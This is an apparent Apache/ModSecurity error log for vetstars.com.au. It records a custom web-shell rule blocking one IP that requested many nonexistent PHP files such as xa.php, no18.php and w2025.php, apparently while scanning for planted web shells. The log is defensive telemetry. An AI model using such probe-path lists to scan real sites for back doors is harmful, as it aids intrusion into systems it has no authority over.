[Thu Apr 16 21:41:42.349687 2026] [:error] [pid 7880:tid 7895] [client 51.13.190.245:33460] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeDnFqaezm4fSGc0yUKzpgAAAYo"]
[Thu Apr 16 21:41:42.919972 2026] [:error] [pid 49094:tid 49107] [client 51.13.190.245:47629] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeDnFjbDwvcXorHR_MztfAAAAUs"]
[Thu Apr 16 21:41:43.565573 2026] [:error] [pid 29603:tid 29619] [client 51.13.190.245:33277] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aeDnF1fGOR6fpTWUAzqeIQAAAQ4"]
[Thu Apr 16 21:41:44.129111 2026] [:error] [pid 57639:tid 57663] [client 51.13.190.245:33445] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aeDnGKMCQoTw7TsxWum_zgAAANE"]
[Thu Apr 16 21:41:44.807312 2026] [:error] [pid 57639:tid 57658] [client 51.13.190.245:30617] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aeDnGKMCQoTw7TsxWum_0QAAAMw"]
[Thu Apr 16 21:41:45.356119 2026] [:error] [pid 57639:tid 57664] [client 51.13.190.245:47675] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aeDnGaMCQoTw7TsxWum_1gAAANI"]
[Thu Apr 16 21:41:45.894771 2026] [:error] [pid 57639:tid 57651] [client 51.13.190.245:47633] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "aeDnGaMCQoTw7TsxWum_2gAAAMU"]
[Thu Apr 16 21:41:46.961525 2026] [:error] [pid 57537:tid 57588] [client 51.13.190.245:53527] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "aeDnGlVQRS8nm73ENAm8qAAAAE0"]
[Thu Apr 16 21:41:47.549211 2026] [:error] [pid 7880:tid 7886] [client 51.13.190.245:30597] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "aeDnG6aezm4fSGc0yUKzqgAAAYE"]
[Thu Apr 16 21:41:48.110822 2026] [:error] [pid 7880:tid 7896] [client 51.13.190.245:33250] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "aeDnHKaezm4fSGc0yUKzrAAAAYs"]
[Thu Apr 16 21:41:48.681451 2026] [:error] [pid 7880:tid 7901] [client 51.13.190.245:30603] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeDnHKaezm4fSGc0yUKzsQAAAZA"]
[Thu Apr 16 21:41:49.252037 2026] [:error] [pid 49094:tid 49112] [client 51.13.190.245:47481] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeDnHTbDwvcXorHR_MztfwAAAVA"]
[Thu Apr 16 21:41:50.010334 2026] [:error] [pid 29603:tid 29620] [client 51.13.190.245:47427] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeDnHlfGOR6fpTWUAzqeLQAAAQ8"]
[Thu Apr 16 21:41:50.572807 2026] [:error] [pid 57639:tid 57664] [client 51.13.190.245:33246] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeDnHqMCQoTw7TsxWum_5AAAANI"]
[Thu Apr 16 21:41:51.149042 2026] [:error] [pid 49094:tid 49103] [client 51.13.190.245:30620] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aeDnHzbDwvcXorHR_MztggAAAUc"]
[Thu Apr 16 21:41:51.818959 2026] [:error] [pid 57538:tid 57611] [client 51.13.190.245:30598] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aeDnH8uMaiEF5SVR2BfpYgAAAIk"]
[Thu Apr 16 21:41:52.345291 2026] [:error] [pid 49094:tid 49099] [client 51.13.190.245:30621] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aeDnIDbDwvcXorHR_MzthQAAAUM"]
[Thu Apr 16 21:41:52.873324 2026] [:error] [pid 49094:tid 49109] [client 51.13.190.245:53558] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aeDnIDbDwvcXorHR_MzthgAAAU0"]
[Thu Apr 16 21:41:53.400193 2026] [:error] [pid 49094:tid 49115] [client 51.13.190.245:29834] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aeDnITbDwvcXorHR_MztiQAAAVM"]
[Thu Apr 16 21:41:53.921826 2026] [:error] [pid 57536:tid 57550] [client 51.13.190.245:47666] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aeDnISQU4faGja6jpDuJqgAAAAI"]
[Thu Apr 16 21:41:54.886280 2026] [:error] [pid 49094:tid 49105] [client 51.13.190.245:52301] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aeDnIjbDwvcXorHR_MztjAAAAUk"]
[Thu Apr 16 21:41:55.411711 2026] [:error] [pid 57536:tid 57564] [client 51.13.190.245:30653] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aeDnIyQU4faGja6jpDuJrQAAABA"]
[Thu Apr 16 21:41:55.950791 2026] [:error] [pid 57536:tid 57562] [client 51.13.190.245:47624] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aeDnIyQU4faGja6jpDuJrwAAAA4"]
[Thu Apr 16 21:41:56.642157 2026] [:error] [pid 57536:tid 57561] [client 51.13.190.245:21267] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aeDnJCQU4faGja6jpDuJsgAAAA0"]
[Thu Apr 16 21:41:57.205202 2026] [:error] [pid 57536:tid 57558] [client 51.13.190.245:52334] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aeDnJSQU4faGja6jpDuJtgAAAAo"]
[Thu Apr 16 21:41:57.729787 2026] [:error] [pid 57536:tid 57553] [client 51.13.190.245:30616] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aeDnJSQU4faGja6jpDuJuQAAAAU"]
[Thu Apr 16 21:41:58.285668 2026] [:error] [pid 29603:tid 29611] [client 51.13.190.245:53564] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeDnJlfGOR6fpTWUAzqeNAAAAQY"]
[Thu Apr 16 21:41:58.846001 2026] [:error] [pid 49094:tid 49097] [client 51.13.190.245:53520] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeDnJjbDwvcXorHR_MztjQAAAUE"]
[Thu Apr 16 21:41:59.371176 2026] [:error] [pid 49094:tid 49104] [client 51.13.190.245:33462] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeDnJzbDwvcXorHR_MztjwAAAUg"]
[Thu Apr 16 21:41:59.918627 2026] [:error] [pid 7880:tid 7901] [client 51.13.190.245:33237] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeDnJ6aezm4fSGc0yUKzvAAAAZA"]
[Thu Apr 16 21:42:00.465618 2026] [:error] [pid 57639:tid 57668] [client 51.13.190.245:52310] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeDnKKMCQoTw7TsxWum_9AAAANY"]
[Thu Apr 16 21:42:01.137912 2026] [:error] [pid 57639:tid 57662] [client 51.13.190.245:53513] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeDnKaMCQoTw7TsxWum_9QAAANA"]
[Thu Apr 16 21:42:01.656721 2026] [:error] [pid 57639:tid 57647] [client 51.13.190.245:30630] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeDnKaMCQoTw7TsxWum_9gAAAME"]
[Thu Apr 16 21:42:02.229788 2026] [:error] [pid 57639:tid 57655] [client 51.13.190.245:53508] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeDnKqMCQoTw7TsxWum_9wAAAMk"]
[Thu Apr 16 21:42:02.931169 2026] [:error] [pid 57639:tid 57651] [client 51.13.190.245:47677] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aeDnKqMCQoTw7TsxWum_-QAAAMU"]
[Thu Apr 16 21:42:03.477152 2026] [:error] [pid 29603:tid 29616] [client 51.13.190.245:47643] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aeDnK1fGOR6fpTWUAzqeWgAAAQs"]
[Thu Apr 16 21:42:04.032083 2026] [:error] [pid 57536:tid 57558] [client 51.13.190.245:52305] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aeDnLCQU4faGja6jpDuJyAAAAAo"]
[Thu Apr 16 21:42:04.571073 2026] [:error] [pid 57537:tid 57592] [client 51.13.190.245:33440] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aeDnLFVQRS8nm73ENAm8qwAAAFE"]
[Thu Apr 16 21:42:05.132321 2026] [:error] [pid 49094:tid 49120] [client 51.13.190.245:33411] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeDnLTbDwvcXorHR_MztkgAAAVg"]
[Thu Apr 16 21:42:05.681415 2026] [:error] [pid 57537:tid 57580] [client 51.13.190.245:30599] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeDnLVVQRS8nm73ENAm8rAAAAEU"]
[Thu Apr 16 21:42:06.264330 2026] [:error] [pid 29603:tid 29612] [client 51.13.190.245:30609] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeDnLlfGOR6fpTWUAzqeWwAAAQc"]
[Thu Apr 16 21:42:07.074768 2026] [:error] [pid 57537:tid 57589] [client 51.13.190.245:33243] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeDnL1VQRS8nm73ENAm8rQAAAE4"]
[Thu Apr 16 21:42:07.664670 2026] [:error] [pid 57536:tid 57552] [client 51.13.190.245:52294] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeDnLyQU4faGja6jpDuJzQAAAAQ"]
[Thu Apr 16 21:42:08.284466 2026] [:error] [pid 57538:tid 57613] [client 51.13.190.245:30647] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeDnMMuMaiEF5SVR2BfpdwAAAIs"]
[Thu Apr 16 21:42:08.915852 2026] [:error] [pid 7880:tid 7897] [client 51.13.190.245:33428] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeDnMKaezm4fSGc0yUKzxQAAAYw"]
[Thu Apr 16 21:42:09.720317 2026] [:error] [pid 57639:tid 57661] [client 51.13.190.245:33258] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeDnMaMCQoTw7TsxWunABgAAAM8"]
[Thu Apr 16 21:42:10.337249 2026] [:error] [pid 57639:tid 57667] [client 51.13.190.245:52306] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeDnMqMCQoTw7TsxWunABwAAANU"]
[Thu Apr 16 21:42:11.413575 2026] [:error] [pid 7880:tid 7886] [client 51.13.190.245:30619] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeDnM6aezm4fSGc0yUKzxwAAAYE"]
[Thu Apr 16 21:42:12.015071 2026] [:error] [pid 57639:tid 57658] [client 51.13.190.245:25201] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeDnNKMCQoTw7TsxWunACwAAAMw"]
[Thu Apr 16 21:42:12.669164 2026] [:error] [pid 57639:tid 57653] [client 51.13.190.245:30618] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeDnNKMCQoTw7TsxWunADQAAAMc"]
[Thu Apr 16 21:42:13.227378 2026] [:error] [pid 57639:tid 57654] [client 51.13.190.245:24660] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeDnNaMCQoTw7TsxWunADgAAAMg"]
[Thu Apr 16 21:42:13.792060 2026] [:error] [pid 57639:tid 57657] [client 51.13.190.245:33459] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeDnNaMCQoTw7TsxWunADwAAAMs"]
[Thu Apr 16 21:42:14.344983 2026] [:error] [pid 57639:tid 57663] [client 51.13.190.245:33252] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeDnNqMCQoTw7TsxWunAEgAAANE"]
[Thu Apr 16 21:42:14.908696 2026] [:error] [pid 57639:tid 57649] [client 51.13.190.245:33216] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeDnNqMCQoTw7TsxWunAEwAAAMM"]
[Thu Apr 16 21:42:15.506193 2026] [:error] [pid 57639:tid 57650] [client 51.13.190.245:53510] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeDnN6MCQoTw7TsxWunAFQAAAMQ"]
[Thu Apr 16 21:42:16.185760 2026] [:error] [pid 57639:tid 57651] [client 51.13.190.245:33270] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeDnOKMCQoTw7TsxWunAGAAAAMU"]
